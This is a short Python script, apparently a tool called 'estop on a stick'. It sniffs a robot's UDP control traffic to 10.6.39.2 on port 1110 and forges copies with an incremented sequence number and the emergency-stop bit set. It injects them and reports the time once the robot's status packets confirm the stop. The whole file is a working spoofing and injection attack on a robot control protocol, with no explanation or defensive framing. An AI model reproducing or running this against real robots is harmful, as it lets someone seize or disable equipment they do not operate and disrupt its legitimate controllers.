estop_on_a_stick.py

import socket
import pcap
import struct
import time

ccc = time.perf_counter()
nn = b'\\Device\\NPF_{64A43EA8-B39C-41AB-A227-25CF9B9C8BB0}'

addr = lambda pkt, offset: '.'.join(str(pkt[i]) for i in range(offset, offset + 4)).ljust(16)
a1110 = struct.pack('>H', 1110)
a1150 = struct.pack('>H', 1150)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sniffer = pcap.pcap(nn)

aaa = {}
print('starting')

for ts, pkt in sniffer:
	o = sniffer.dloff + 12
	o2 = sniffer.dloff + 20 + 2
	#print(struct.unpack_from('>HH', pkt, o2), addr(pkt, o), addr(pkt, o - 4))
	#print(bytes(pkt[o2:o2+2]), a1110)
	#print(addr(pkt, o), struct.unpack('>H', pkt[o2:o2+2]))
	if pkt[o:o+4] == bytes((10, 6, 39, 2)) and pkt[o2:o2+2] == a1150:
		ba = bytearray(pkt[sniffer.dloff + 20 + 8:])
		#print('ROBOT STATUS PACKET', ba)
		if ba[3] & 0x80:
			print('successfully e-stopped in {} seconds'.format(time.perf_counter() - ccc))
			#print('STATUS BREAK')
			break
	if pkt[o+4:o+8] == bytes((10, 6, 39, 2)) and pkt[o2:o2+2] == a1110:
		ba = bytearray(pkt[sniffer.dloff + 20 + 8:])
		#print('ROBOT CONTROL PACKET', ba)
		st, = struct.unpack_from('>H', ba)
		if st in aaa:
			aaa[st] += 1
			if aaa[st] == 2:
				#print('skipping')
				continue
		#if st in aaa:
			#print('\t oh wait')
			#aaa.remove(st)
			#continue
		#if ba[3] & 0x80: break
		ba[0:2] = struct.pack('>H', st + 1)
		ba[3] |= 0x80
		sock.sendto(ba, ('10.6.39.2', 1110))
		aaa[st] = 0
		#aaa.add(st)